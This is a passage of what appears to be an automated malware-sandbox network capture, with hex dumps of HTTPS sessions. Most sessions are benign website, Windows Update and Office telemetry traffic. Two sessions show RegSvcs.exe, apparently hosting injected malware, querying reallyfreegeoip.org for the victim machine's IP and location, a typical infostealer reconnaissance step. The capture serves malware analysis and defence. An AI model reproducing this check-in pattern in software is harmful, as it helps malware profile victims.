20 68 61 64 20 62 65 65 6e 20 73 68 75 74 20 64 6f 77 6e 20 62 79 20 74 68 Data Ascii: /><meta property="og:type" content="article" /><meta property="og:title" content="What happened to the old ZXQ website?" /><meta property="og:description" content="Information For ZXQ.net Subdomain Owners The old ZXQ website had been shut down by th
2024-10-29 12:08:13 UTC	16384	IN	Data Raw: 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 20 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 20 75 70 70 65 72 63 61 73 65 3b 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 2e 30 35 65 6d 3b 20 7d 0a 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61 69 6e 20 2e 6d 65 6e 75 20 3e 20 6c 69 20 6c 69 20 61 20 7b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 20 7d 0a 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61 69 6e 20 7b 20 2d 2d 6e 61 76 2d 69 74 65 6d 73 2d 73 70 61 63 65 3a 20 33 33 70 78 3b 20 7d 0a 2e 73 2d 6c 69 67 68 74 20 2e 6e 61 76 69 67 61 74 69 6f 6e 2d 6d 61 69 6e 20 7b 20 2d 2d 63 2d 6e 61 76 3a 20 23 30 30 30 30 30 30 3b 20 7d 0a 2e 73 2d 6c 69 67 68 74 20 2e 6e 61 76 69 67 61 74 69 6f 6e 20 7b 20 2d 2d 63 2d 6e 61 76 2d 62 6c 69 70 3a 20 76 61 72 Data Ascii: -weight: bold; text-transform: uppercase; letter-spacing: .05em; }.navigation-main .menu > li li a { font-size: 14px; }.navigation-main { --nav-items-space: 33px; }.s-light .navigation-main { --c-nav: #000000; }.s-light .navigation { --c-nav-blip: var
2024-10-29 12:08:13 UTC	16384	IN	Data Raw: 71 2e 6e 65 74 2f 22 20 74 69 74 6c 65 3d 22 5a 58 51 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 2d 6c 69 6e 6b 20 74 73 2d 6c 6f 67 6f 20 6c 6f 67 6f 2d 69 73 2d 69 6d 61 67 65 22 3e 0a 09 09 3c 73 70 61 6e 3e 0a 09 09 09 0a 09 09 09 09 0a 09 09 09 09 09 3c 69 6d 67 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 7a 78 71 2e 6e 65 74 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 32 2f 30 32 2f 5a 58 51 2e 70 6e 67 22 20 63 6c 61 73 73 3d 22 6c 6f 67 6f 2d 69 6d 61 67 65 22 20 61 6c 74 3d 22 5a 58 51 22 20 77 69 64 74 68 3d 22 32 30 33 22 20 68 65 69 67 68 74 3d 22 36 36 22 2f 3e 0a 09 09 09 09 09 09 09 09 09 20 0a 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 3c 2f 61 3e 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 Data Ascii: q.net/" title="ZXQ" rel="home" class="logo-link ts-logo logo-is-image"><span><img src="https://zxq.net/wp-content/uploads/2022/02/ZXQ.png" class="logo-image" alt="ZXQ" width="203" height="66"/> </span></a></div>
2024-10-29 12:08:13 UTC	8455	IN	Data Raw: 6f 73 74 2d 6d 65 74 61 20 70 6f 73 74 2d 6d 65 74 61 2d 61 20 70 6f 73 74 2d 6d 65 74 61 2d 6c 65 66 74 20 68 61 73 2d 62 65 6c 6f 77 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 73 2d 74 69 74 6c 65 20 70 6f 73 74 2d 74 69 74 6c 65 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 7a 78 71 2e 6e 65 74 2f 63 75 73 74 6f 6d 69 7a 61 62 6c 65 2d 6f 6e 6c 69 6e 65 2d 67 61 6d 65 73 2d 61 2d 70 65 72 73 6f 6e 61 6c 69 7a 65 64 2d 67 61 6d 69 6e 67 2d 65 78 70 65 72 69 65 6e 63 65 2f 22 3e 43 75 73 74 6f 6d 69 7a 61 62 6c 65 20 4f 6e 6c 69 6e 65 20 47 61 6d 65 73 3a 20 41 20 50 65 72 73 6f 6e 61 6c 69 7a 65 64 20 47 61 6d 69 6e 67 20 45 78 70 65 72 69 65 6e 63 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6f 73 74 2d 6d 65 74 Data Ascii: ost-meta post-meta-a post-meta-left has-below"><div class="is-title post-title"><a href="https://zxq.net/customizable-online-games-a-personalized-gaming-experience/">Customizable Online Games: A Personalized Gaming Experience</a></div><div class="post-met
2024-10-29 12:08:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49725	188.114.97.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:14 UTC	63	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-29 12:08:14 UTC	887	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:14 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11204 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6RlROmw529%2BqQbAluNMk7hCdyVxFJeiW4TuIqLhNdaRmkeFt3hWiyRsU6OW59nYfvgBhqWK3nObqOUJt0JKNT1kiPb8yxr%2B10lDXWjTyD3WzIhDowkmG%2FO53DP8kGQIh%2FPl6FCpm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30cc29883e817-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1973&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=1461150&cwnd=251&unsent_bytes=0&cid=5870e7fb8604073a&ts=268&x=0"
2024-10-29 12:08:14 UTC	359	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 5a 6f 6e 65 3e Data Ascii: <Response><IP>173.254.250.72</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</TimeZone>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49724	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:15 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=VatNPFTcculonAy&MD=pDKKvD8Y HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-29 12:08:15 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 5c90413a-3fc4-4a43-afdf-e89ea3d64080 MS-RequestId: ed1f1387-f680-4e5c-8e9a-8d281297d0f4 MS-CV: OjSoIGyEfk2yx6od.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Tue, 29 Oct 2024 12:08:14 GMT Connection: close Content-Length: 24490
2024-10-29 12:08:15 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-29 12:08:15 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.5	49729	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:17 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: 174434da-801e-0015-686a-29f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120817Z-16849878b78hh85qc40uyr8sc800000006rg00000000banw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:17 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-29 12:08:17 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49732	188.114.97.3	443	5568	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:17 UTC	87	OUT	GET /xml/173.254.250.72 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-29 12:08:17 UTC	888	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:17 GMT Content-Type: text/xml Content-Length: 359 Connection: close apigw-requestid: AZ6gpggEPHcESXQ= Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 11207 Last-Modified: Tue, 29 Oct 2024 09:01:30 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nut2J0jY3vP13FG7zYF96s2r9juM92IxpUdvVC7k698gi2tTOXIqBZ1ZNusDtlP2tiNUx6vy%2FImieMPXsAu2SDZJSNJZF55EciSIMr8z2UTDnrYn%2F%2F37hb%2BHT7wa4awhQvvm1%2F9S"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da30cd47be64677-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=977&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2850&recv_bytes=701&delivery_rate=2870168&cwnd=247&unsent_bytes=0&cid=d1888034f92b4386&ts=746&x=0"
